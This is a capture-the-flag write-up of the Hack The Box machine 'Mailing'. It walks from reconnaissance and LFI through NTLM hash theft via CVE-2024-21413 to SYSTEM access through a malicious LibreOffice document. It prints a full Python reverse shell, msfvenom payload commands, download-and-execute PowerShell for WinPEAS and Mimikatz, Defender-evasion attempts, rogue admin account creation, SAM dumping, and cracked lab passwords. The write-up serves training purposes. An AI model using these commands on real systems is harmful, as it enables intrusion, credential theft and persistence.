Mailing
2024-05-05
INTRODUCTION
Mailing was released as the third box of HTB’s Season 5, Anomalies. The box is initially about a mail server (although that ceases to be important after a foothold is achieved).
To gain a foothold, you need to make some major assumptions using a “guess and check” procedure that is not easily automated. The foothold is possible by means of exploiting a CVE for an application that you can’t be sure is even running on the target. Moreover, the exploit requires user interaction, which you can’t be sure is even happening.
Along the way to root, you’re thwarted by an AV that stops you from enumerating the box fully. Lack of viable enumeration techniques leaves you constantly having to make assumptions about how the box might work, then spend a long time verifying those assumptions. Even after researching the target’s vulnerable software, you don’t really have any indication that you’ve found the right vulnerability - once again reverting to this mind-numbing “guess and check” procedure.
In the end, Mailing leaves you wanting to reach a certain goal, but with no realistic way to test the individual steps between you and your goal. Extremely frustrating, would not recommend! 👎
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3
135/tcp open msrpc
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
465/tcp open smtps
587/tcp open submission
993/tcp open imaps
5040/tcp open unknown
5985/tcp open wsman
7680/tcp open pando-pub
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
63910/tcp open unknown
I’m seeing SMTP(S), IMAP(S), POP3, etc. Seems like all the usual suspects mail.
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://mailing.htb
|_http-server-header: Microsoft-IIS/10.0
110/tcp open pop3 hMailServer pop3d
|_pop3-capabilities: TOP USER UIDL
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
143/tcp open imap hMailServer imapd
|_imap-capabilities: IMAP4rev1 CHILDREN CAPABILITY NAMESPACE RIGHTS=texkA0001 completed QUOTA OK ACL SORT IDLE IMAP4
445/tcp open microsoft-ds?
465/tcp open ssl/smtp hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
587/tcp open smtp hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
993/tcp open ssl/imap hMailServer imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after: 2029-10-06T18:24:10
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
63910/tcp open msrpc Microsoft Windows RPC
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-05-05T10:50:52
|_ start_date: N/A
|_clock-skew: 2m15s
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No results from the vuln scan.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
None of the top 100 UDP ports were detected as open.
Webserver Strategy
Noting the redirect from the nmap scan, I added download.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=mailing.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb $RADDR && curl -IL http://$RADDR
The target is using IIS for its web server.
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results from that. Now I’ll check for subdomains of mailing.htb
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
Still no results. I’ll move on to directory enumeration on http://mailing.htb:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e .php,.asp,.js,.html -timeout 4 -v
Directory enumeration gave the following:
Exploring the Website
The index page of the website gives some helpful hints. As expected, it’s definitely a mail server. Also, we now know it’s using hMailServer.
There’s a button at the bottom that reminds me I should investigate LFI 🚩
The instructions outline how to configure a mail client and connect an account. They are pretty straightforward - Basically just use default settings and autodetect everything. It outlines how to use both Windows Mail and Thunderbird with mailing.htb
.
The instructions use a test account user : password; I tried replicating their process, using that test account (in case they left the account enabled), but didn’t have any luck:
When clicking “Done” there is a failure to authenticate. Looks like I’ll need to obtain some real credentials.
Vulnerability research
After a little bit of checking to see if there were any vulnerabilities for hMailServer, I didn’t find anything substantial. Definitely nothing current. There might still be a misconfiguration, but I don’t see any CVEs.
The instructions.pdf
document showed us that the organization suggests we use either Windows Mail or Thunderbird. Thankfully, a quick google search of “windows mail vulnerability CVE exploit” shows some juicy results… It looks like there is a very new and very critical CVE (CVE-2024-21413, CVSS 9.8 😱 ) that people are calling the MonikerLink Bug. This is definitely worth investigating.
I found this article describing how they were able to exploit this vulnerability to obtain NTLM hashes. Apparently, all I need to do is send an email to the target that contains a maliicous link. The link should force the target to connect back to my attacker box, transmitting its NTLM hash to me. Truly horrifying!
Unfortunately though, without any valid smtp credentials I won’t be able to send such an email.
Checking for LFI
As a first attempt for LFI, I’ll start with a list of files commonly found on Windows. If I want to refine this, I’ll try adding some more, such as files important for hMailServer or IIS. I’m using my tool Alfie to check for files rapidly. Many other fuzzing tools, such as ffuf or wfuzz, would work fine too.
The Windows files start at roughly line 895
FILES_LIST=/home/kali/Box_Notes/Mailing/lfi_files_unique.txt
LFI_LIST=/home/kali/Box_Notes/Mailing/lfi_list.txt
tail -n +895 /usr/share/seclists/Fuzzing/LFI/LFI-linux-and-windows_by-1N3@CrowdShield.txt | sort | uniq > $FILES_LIST
echo 'index.php' >> $FILES_LIST; echo 'download.php' >> $FILES_LIST;
echo '../' > $LFI_LIST; echo '..\' >> $LFI_LIST;
python3 alfie.py -f $FILES_LIST -w $LFI_LIST -u 'http://mailing.htb/download.php?file=' -fs 15 -nx --min 0 --max 4 -t 60 --timeout 10
I tried navigating to that URL, and indeed I obtained index.php
:
The contents are only html
, but as a proof-of-concept for the LFI, this is a great start:
FOOTHOLD
hMailServer Configs
OK let’s try refining this a little. It probably makes sense to try to find some of the configuration files for hMailServer too. But what would those be? A little bit of reading documentation revealed that a really important file is C:\Program Files\hMailServer\hMailServer.ini
, and a couple others as well. In addition, we don’t know which Program Files
it wil be in, :
echo 'C:\Program Files\hMailServer\hMailServer.ini' >> $FILES_LIST;
echo 'C:\ProgramFiles\hMailServer\hMailServer.ini' >> $FILES_LIST;
echo 'C:\programfiles\hmailserver\hmailserver.ini' >> $FILES_LIST;
echo 'C:\Program Files (x86)\hMailServer\hMailServer.ini' >> $FILES_LIST;
echo 'C:\program files (x86)\hmailserver\hmailserver.ini' >> $FILES_LIST;
echo 'C:\ProgramFiles(x86)\hMailServer\hMailServer.ini' >> $FILES_LIST;
echo 'C:\programfiles(x86)\hmailserver\hmailserver.ini' >> $FILES_LIST;
echo 'C:\Program Files\hMailServer\Bin\hMailServer.ini' >> $FILES_LIST;
echo 'C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini' >> $FILES_LIST;
echo 'C:\Program Files\hMailServer\Data\hMailServer.xml' >> $FILES_LIST;
echo 'C:\Program Files (x86)\hMailServer\Data\hMailServer.xml' >> $FILES_LIST;
echo 'C:\Program Files\hMailServer\Events\hMailServer.EventHandlers.vbs' >> $FILES_LIST;
echo 'C:\Program Files (x86)\hMailServer\Events\hMailServer.EventHandlers.vbs' >> $FILES_LIST;
echo 'C:\WINDOWS\System32\drivers\etc\hosts' >> $FILES_LIST;
I noticed that there were a bunch of filenames ending in spaces, so I’ll remove those; I’ll also append to my files list a copy of the current files, except with the C:\
removed from each file.
sed -i '/ $/d' $FILES_LIST;
grep -E '^C:\\' $FILES_LIST | sed 's/C:\\//g' >> $FILES_LIST;
grep ' ' $FILES_LIST | sed 's/ /+/g' >> $FILES_LIST;
grep ' ' $FILES_LIST | sed 's/ /%20/g' >> $FILES_LIST;
I changed
max
to 2 because I ran it with 6 and found repetetive results - i.e. just to make the screenshot smaller 😉
python3 alfie.py -f $FILES_LIST -w $LFI_LIST -u 'http://mailing.htb/download.php?file=' -fs 15 -nx --min 0 --max 2 -t 60 --timeout 15
Alright! That’s more like it 😉 Let’s take a look at that hMailServer.ini
file and see what’s inside.
The contents are exactly what I was hoping for:
[Directories]
ProgramFolder=C:\Program Files (x86)\hMailServer
DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
DataFolder=C:\Program Files (x86)\hMailServer\Data
LogFolder=C:\Program Files (x86)\hMailServer\Logs
TempFolder=C:\Program Files (x86)\hMailServer\Temp
EventFolder=C:\Program Files (x86)\hMailServer\Events
[GUILanguages]
ValidLanguages=english,swedish
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Type=MSSQLCE
Username=
Password=0a9f8ad8bf896b501dde74f08efd7e4c
PasswordEncryption=1
Port=0
Server=
Database=hMailServer
Internal=1
The directory paths are really helpful info, but my eyes immediately went to those two hashes. I put them into a file, hashes.txt
:
admin:841bb5acfa6779ae432fd7a4e6600ba7
database:0a9f8ad8bf896b501dde74f08efd7e4c
From the official documentation about hMailServer.ini
, we know the purpose of this password:
AdministratorPassword - The main hMailServer administration password. The user for example needs to enter this password when starting hMailServer Administrator. This password is encoded using MD5.
Excellent! From what I can tell, this password is intended for the PHPWebAdmin
interface: homenetworkingadministrator
Finding some usernames
I would love to quickly check this password with winrm
, and some other remote login tools, to see if the admin user has re-used credentials… but I’m not actually sure what users are on the target box. Thankfully, there is a hint on the last page of the instructions.pdf
document linked from the index page:
That shows that one of the users is maya@mailing.htb
Aside from that, there are techniques for enumerating mail servers that come in handy for this box. From the Hacktricks IMAP page, we can grab the IMAPS certificate:
openssl s_client -connect $RADDR:993 -quiet
Likewise, we can get the SMTPS certificate:
openssl s_client -starttls smtp -crlf -connect mailing.htb:587
These both show that another user is ruy@mailing.htb.
Both of these users are expected, given the “staff” shown on the index page.
Credential Reuse
Now that I have a couple usernames, I’ll try them with crackmapexec
to see if I get lucky:
crackmapexec winrm -u 'ruy' -p 'homenetworkingadministrator' $RADDR
crackmapexec winrm -u 'maya' -p 'homenetworkingadministrator' $RADDR
crackmapexec smb -u 'ruy' -p 'homenetworkingadministrator' $RADDR
crackmapexec smb -u 'maya' -p 'homenetworkingadministrator' $RADDR
Unfortunately, none of those worked.
What about logging into the mail server itself?
curl -k "imaps://$RADDR/INBOX?ALL" --user ruy:homenetworkingadministrator
curl -k "imaps://$RADDR/INBOX?ALL" --user maya:homenetworkingadministrator
curl "imap://$RADDR/INBOX?ALL" --user ruy:homenetworkingadministrator
curl "imap://$RADDR/INBOX?ALL" --user maya:homenetworkingadministrator
No, none of those worked either.
Next, I’m going to try Thunderbird itself:
That login with Maya didn’t work, same with Ruy. But the the hMailServer.ini
file referenced the variable “AdministratorPassword” - so maybe there’s an administrator@mailing.htb
?
Yep, there is… It worked perfectly with no modification to settings. Just use the autodetected defaults.
🎉 I tried sending an email to Ruy and Maya, and it worked! That shows that I’ve authenticated successfully to both IMAP and SMTP. But even more important, I now have a valid credential to try CVE-2024-21413 with.
USER FLAG
CVE-2024-21413
As described in this article, I’m going to try to catch an SMB request to an attacker controlled “SMB resource” (I’ll actually be running Responder)
First, I’ll open up the firewall for the target:
sudo ufw allow from $RADDR to any port 445
sudo responder -I tun0
Then I crafted an email using the filter bypass that the CVE describes:
That didn’t seem to work. However, when I included the link in a different way, it worked perfectly!
Shortly after sending that, I saw a bunch of NTLMv2 hashes appear from maya:
Just to double-check, I tried running it through name-that-hash
:
I copy-pasted each of those hashes onto separate lines in the file maya_ntlm_hashes.txt
and ran hashcat
over it:
hashcat -m 5600 maya_ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
Within a few seconds, hashcat cracked the hashes!
Excellent, so we now have a windows credential for maya : m4y4ngs4ri
Now that I have a valid credential, let’s try evil-winrm
again:
Perfect! We finally have a shell 😁 The flag is at C:\Usrs\maya\Desktop\user.txt
; go type
it out for some points!
ROOT FLAG
WinPEAS
Let’s run WinPEAS and see what it finds. First, I’ll need to transfer it over (or run it from memory, but this is easier). For file transfer, I’ll use impacket-smbserver
:
sudo ufw allow from $RADDR to any port 53,139,445 proto tcp
cd ~/Tools/WINDOWS
impacket-smbserver -username 'kali' -password 'testtesttest' share .
Then, from the evil-winrm
, as maya
:
net use x: \\10.10.14.14\share /user:kali testtesttest
# Denied! target refuses to use SMBv1
☝️ Edit: I could have just enabled SMBv2 instead:
impacket-smbserver -smb2support -username 'kali' -password 'testtesttest' share .
net use x: \\10.10.14.14\share /user:kali testtesttest copy X:\winPEAS.ps1 C:\Users\maya\Downloads\winPEAS.ps1
Hmm, alright. How else can I move WinPEAS over?
where wget #nope
where curl #nope
$url = "http://10.10.14.14:8000/winPEASany_ofs.exe"
(New-Object Net.WebClient).DownloadFile($url, 'C:\Users\maya\Downloads\winpeas.exe')
..\Downloads\winpeas.exe
Looks like the AV didn’t like that… Maybe I can run it directly from memory to evade the AV?
$url = "http://10.10.14.14:8000/winPEASany_ofs.exe"
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
Alright. I guess I’ll have to do my privilege escalation enumeration manually!
SMB as maya
Before I go any further with enumeration, it’s probably prudent to check out SMB now that I have a credential. Since SMB is exposed on the network, I’ll log in from my attacker machine:
impacket-smbclient maya:m4y4ngs4ri@mailing.htb
There’s a share inside called Important Documents
, but it’s empty.
Also, for some reason we’re actually able to read the IPC$
share. Oddly enough, there’s an exposed LSASS:
I’m no expert but I think that means that, if I were able to gain an NTLM hash for someone else, I could use Mimikatz to do LSASS injection and impersonate that user. I should keep an eye out for ways to gain another hash!
Local enumeration: maya
I wanted a good reference of steps to consider when going through local enumeration on Windows, so I’ll be recording every step.
systeminfo # access denied
[System.Environment]::OSVersion.Version
net user
net user maya
whoami /priv
I’ll try listing the services running
wmic service list full # Access denied
Get-Service | Where-Object { $_.Status -eq 'Running' } # Access denied
tasklist # Access denied
Thankfully, we can still look for scheduled tasks:
schtasks /query /fo LIST /v
There are three scheduled tasks that stand out (they’re right at the top of the list).
One of them runs mail.vbs
at login:
Another runs mail.py
, also at login:
And finally, one that localadmin
executes, running C:\User\localadmin\Documents\scripts\soffice.ps1
:
Unfortunately, I can’t see the contents of C:\User\localadmin\Documents\scripts\soffice.ps1
. Otherwise would happily label this as a privesc vector. For now, I’ll keep it in the back of my mind.
Scripts in Documents
There are two scripts in Maya’s Documents:
These scripts appear to perform the link-clicking that was required to trigger our exploit to gain Maya’s NTLM hash.
These scripts are ran upon login and startup by the scheduled tasks shown in the images in the previous section
This is mail.py
:
from pywinauto.application import Application
from pywinauto import Desktop
from pywinauto.keyboard import send_keys
from time import sleep
app = Application(backend="uia").connect(title_re="Inbox*")
dlg = app.top_window()
current_count = 0
remove = 2
while True:
try:
unread = dlg.InboxListBox
items = unread.item_count()
if items==1:
sleep(20)
continue
if items != current_count:
for i in range(1,items-current_count-(remove-1)):
if "Yesterday" in unread.texts()[i][0]:
remove = 3
continue
unread[i].select()
message = dlg.child_window(auto_id="RootFocusControl", control_type="Document").Hyperlink.invoke()
sleep(45)
dlg.type_keys("{ENTER}")
unread[i].select()
current_count = items - remove
sleep(20)
except:
pass
And here’s mail.vbs
:
Set objShell = CreateObject("WScript.Shell")
objShell.Run "explorer shell:AppsFolder\microsoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.windowslive.mail"
WScript.Sleep 5000
objShell.AppActivate "Mail"
WScript.Sleep 1000
objShell.SendKeys "{F5}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "{TAB}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "^d"
WScript.Sleep 500
objShell.SendKeys "%{F4}"
Exploring the filesystem
Now that I have a shell as maya
, I can explore the rest of the filesystem. I started, as one does, at the root of the C drive:
There’s the Important Documents
folder that we saw when checking out SMB. Still unclear why it exists…
It’s empty. Maya has modification perms but not full control. Other than that, there’s wwwroot
to check out, but I don’t have read access to it as Maya.
My next stop was Program Files (x86)
to check out the hMailServer
files:
This reminded me that I never checked the database - If I can gain access to that, then I might have a clue about moving forward.
Checking tree
, I noticed that there were some unexpected files in there. Under the Data
folder, I found a bunch of automatically named files. I opened one up:
That’s one of the emails that I sent as a test!
I went into the Data
directory for maya
and read all of her emails too:
cd ..\maya
gci -Recurse | Get-Content
What followed was an explosion of emails on my screen, showing everyone’s attempts to use CVE-2024-21413.
It’s shocking how many people inserted an image into their payloads. I wonder why they did that? Upon closer inspection, it’s the same image in all of these… They must have been using some publicly available PoC script.
I took the base64-encoded image from their payloads and popped it into an html file:
It’s the Microsoft logo! Did you all request permission to use their trademark without permission?! 😱
Back in the hMailServer
folder, it’s also worth noting that PHPWebAdmin is not actually in-use. I know because the dist-config.php
file is still present, and there is no config.php
file, hence the system has not been initialized. Alright, enough fun… let’s keep checking out the filesystem.
The Program Files
folder:
All of those make sense for being there… except LibreOffice 🤔 Why is that there?
At first, I thought “oh, it’s just required for those VBScript files to run”; but actually that’s not true. I noticed back from C:\Users\maya
that she has her own dotnet runtimes. So actually, LibreOffice isn’t used at all on this box 👀
I went into the directory to see if there was anything else odd about this LibreOffice installation (maybe it has some weird scripts folder or something?) but it seemed pretty typical. Checking the C:\Program Files\LibreOffice\readmes\readme_en-US.txt
file reveals that we’re looking at LibreOffice 7.4.
LibreOffice
I checked my own installation and I’m running LIbreOffice 24.2.3 😐 Does this box have a totally ancient version installed?? I checked the official LibreOffice site to find out - it turns out that they had a big jump in their version numbering (7.6 -> 24.x), but 7.4 is still an old version for sure. For the sake of checking if this is vulnerable to anything, I’ll check the exact semantic version:
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*" | Where-Object { $_.DisplayName -like "LibreOffice*" } | Select-Object DisplayName, DisplayVersion
That’s good news for me: the above shows that it’s the very first patch of a minor version (which means there might be unhandled regressions in the code).
LibreOffice is a proper, reputable open source project. As one might expect, they’re very diligent about their security advisories. From this page, we can see what vulnerabilities the target’s LibreOffice installation might have:
I looked into each of those CVEs. Here are the NVD entries for them:
- CVE-2023-6186 (CVSS 8.8) Execute build-in macros without warning
- CVE-2023-6185 (CVSS 8.8) Execute arbitrary GStreamer plugins
- CVE-2023-2255 (CVSS 5.3) Craft a document to load external links without warning
- CVE-2023-0950 (CVSS 7.8) Arbitrary code execution via array underflow
- CVE-2022-3140 (CVSS 6.3) Execute arbitary scripts but requires user interaction
For each of these CVEs, I googled "CVE-202X-XXXX" privilege escalation PoC"
to see if there were any that would be easy to check out. The first two had nothing… then I landed on that third one, which looked quite promising. There were a few PoCs written for it already.
💡 Remember that scheduled task we saw running as
localadmin
that executes soffice.ps1? It could be a coincidence, but maybe it’s related to LibreOffice?And if that’s true, maybe it’s doing something with that mysterious
Important Documents
folder.I really don’t like how much of this box is just sheer guessing and assumptions. It’s really unpleasant so far 😞
CVE-2023-2255 appears to be able to embed arbitrary shell commands within an LibreOffice document. Then, when that document is opened, the command will run under the same context as LibreOffice. I wonder if it would be possible to just open a reverse shell this way? 🤔 I should test it out first.
Reverse shell feasibility
First, let’s try opening a reverse shell just as maya
. Windows Defender has been a real pain on this box, so I bet it will probably stop a reverse shell. Since we know the target has python, and maya
can run python, I’ll use a simple Python3 + Cmd reverse shell from revshells.com:
import os,socket,subprocess,threading;
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
p.stdin.flush()
def p2s(s, p):
while True:
s.send(p.stdout.read(1))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.14",4444))
p=subprocess.Popen(["cmd"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()
try:
p.wait()
except KeyboardInterrupt:
s.close()
Saving that as revshell.py
, I’ll transfer it over to the target using SMB:
impacket-smbserver -smb2support -username 'kali' -password 'testtesttest' share .
# Then, in a separate tab:
sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
rlwrap nc -lvnp 4444
C:\net use x: \\10.10.14.14\share /user:kali testtesttest
cd C:\Users\maya\Downloads
copy X:\revshell.py
python revshell.py
🎉 It worked! Windows Defender did not stop the reverse shell! That means it can be used as a piece of privilege escalation.
CVE-2023-2255
Now that I know that a reverse shell might work for privesc, let’s see if we can make it happen. Operating under the assumption that C\Users\localadmin\Documents\scripts\soffice.ps1
(the scheduled task that localadmin
runs) periodically reads files inside Important Documents
, we might be able to turn this into privesc by crafting a document containing a malicious macro.
As mentioned earlier, I found some PoC code that claims it can encapsulate a program inside an ODT document by explioiting CVE-2023-2255. The PoC I found uses an exe
payload, so I’ll generate one using msfvenom
:
👇 I checked the target’s processor architecture first, by running
$env::PROCESSOR_ARCHITECTURE
.
git clone https://github.com/SaintMichae64/CVE-2023-2255.git
cd CVE-2023-2255
msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.14 LPORT=4444 -f exe -o revshell.exe
python3 exploit.py --output escalate.odt revshell.exe
Note: I still have my
nc
listener running
impacket-smbclient maya:m4y4ngs4ri@mailing.htb
> use Important Documents
> put escalate.odt
Then I waited… 🤞
… but no reverse shell 😔
Alright, I’ll try it again, but with a different PoC script. This one seems less versatile, but has more stars on Github:
git clone https://github.com/elweth-sec/CVE-2023-2255.git
cd CVE-2023-2255
python3 CVE-2023-2255.py --cmd 'python "C:\Important Documents\revshell.py"' --output 'escalate2.odt'
cp escalate2.odt ../
I’ve made a payload, test.odt
that will automatically run the command python "C:\Important Documents\revshell.py
when escalate2.odt
is opened. So, let’s try placing escalate2.odt
and revshell.py
in that folder and see what happens:
impacket-smbclient maya:m4y4ngs4ri@mailing.htb
> use Important Documents
> put revshell.py
> put escalate2.odt
Then I waited… 🤞🤞
… and a reverse shell opened!
Finally, this worked, and I was able to type
out the flag and be done with this wretched mess:
type root.txt
EXTRA CREDIT: FULL PWN
Getting Mimikatz
I’m really new to Windows post-exploitation stuff, but I know that a good way to get passwords or hashes from the SAM or LSASS is to use Mimikatz. However, we know that Windows Defender is running on this box and has been blocking all kinds of fun things from happening…
I read that a good way to bypass the AV is to run Mimikatz from memory. The way to do this is like this:
IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.14:8000/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
(The above is from Hacktricks)
As expected, that didn’t work. It failed at the first step, where Defender flagged the script as malicious. I tried renaming it, etc. No success:
Then I came across an article on BlackHills Infosec discussing how to easily obfuscate Mimikatz to bypass many AVs. I tried it out, and ultimately created another copy of Mimikatz called Invoke-Mimidogz.jpg
, complete with many text substitutions within the script itself.
I tried transferring this via SMB, all to no avail:
net use x: \\10.10.14.14\share /user:kali testtesttest
copy X:\Invoke-Mimikatz.ps1 # Initial file, from github
copy X:\Invoke-Mimidogz.ps1 # Renamed only
copy X:\Invoke-Mimidogz-obf.ps1 # With all obfuscation substitutions from the BlackHills article
copy X:\Invoke-Mimidogz.jpg # Same as above, but with a different extension
Each attempt was met with Defender blocking the file transfer:
I’m sure it’s possible to do this, but not with my level of skill 😅
Dump the SAM
No problem, I still have another idea. I know that crackmapexec
is able to dump the SAM to obtain hashes.
But why not try this first, before Mimikatz?
Well, this technique requires valid admin credentials, and all I have is an admin reverse shell. So how can we turn this into credentials? The obvious choice is to make Maya an administrator, but this would spoil the box for whomever else is currently attacking it. So I think the trick will be to create a new user instead.
From the localadmin
account, we can create a new user with known credentials:
New-LocalUser -Name "jimbob" -Password (ConvertTo-SecureString -AsPlainText "soaringPheasant987" -Force) -FullName "Jimbob Bobjim" -Description "Bobjim the adnim" -AccountNeverExpires
It seems like it worked perfectly:
It looks like it’s “Administrador”, but I’ll verify what the local administrators group is:
Get-LocalGroup -SID "S-1-5-32-544"
Aha! OK. It’s “Administradores”
So now let’s put jimbob
into the Administradores
group:
Add-LocalGroupMember -Group "Administradores" -Member "jimbob"
Or equivalently in
cmd
:net localgroup Administradores jimbob /add
Great, that seems like it had the desired effect!
We now have an account on the machine with a known credential: jimbob : soaringPheasant987.
Since jimbob
is an administrator, I should have full access to SMB. Let’s try that out:
Yep! Works perfectly. Note that we can access the protected ADMIN$
share now.
Since we have admin access to SMB, it should be trivial to dump the SAM using crackmapexec
:
crackmapexec smb $RADDR -u 'jimbob' -p 'soaringPheasant987' --sam
Aside from passing-the-hash (which we could do with Evil-WinRM), we can also crack these hashes. I didn’t have a very good understanding of this, but found this video from Hackersploit very helpful:
We can crack the NTLM hashes as follows (note that I’m artificially inserting my known password into the wordlist):
cp /usr/share/wordlists/rockyou.txt .
echo "soaringPheasant987" >> ./rockyou.txt
john --wordlist=rockyou.txt SAM_hashes.txt --format=NT -pot=mailing.pot
We can also get the LSA secrets in the same way, using crackmapexec
in SMB mode:
crackmapexec smb $RADDR -u 'jimbob' -p 'soaringPheasant987' --lsa
CLEANUP
Target
I need to get rid of the reverse shell that I used:
rm C:\Users\maya\Downloads\revshell.py
I also need to remove the extra user I added to the box. I’ll do this from the localadmin
reverse shell:
Remove-LocalUser -Name "jimbob"
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:
rm loot/rockyou.txt
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED
Attacker
👥 Be generous with your list of usernames. Sometimes very small hints will let you know the username to try. On this box, for some time I was fixated on trying to login to the email of either
ruy
ormaya
, because those were the confirmed accounts I had seen. However, thehMailServer.ini
file hinted at some “Administrator” account - it wasn’t until later that I triedadministrator
for accessing email.🔃 Sometimes, induction is the way. It sucks. It really sucks. But sometimes you just need to make wild assumptions and carry out your idea to completion, and only then will you know if your initial assumption was correct.
😈 Once you have local admin, everything is possible. On Windows, once you’ve completed a little bit of privilege escalation, the world is your oyster. Take the hashes, make new accounts, cover your tracks, do whatever!
Defender
📏 Password length doesn’t matter if the password is still easily guessable. On this box, we cracked the administrator password in about 1s, even though it was 27 characters long. If the password is easily guessable and exists in wordlists like
rockyou
, no amount of special characters, digits, or capitals will help - they are all the same level of complexity if the password is subject to a simple dictionary attack.🔥 Windows is a dumpster fire. Don’t use it. I’m really glad I’m not the administrator of some large sprawling Windows-based ecosystem. It seems like it’s basically impossible to secure it properly. All you can really do is make things incrementally harder for attackers.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake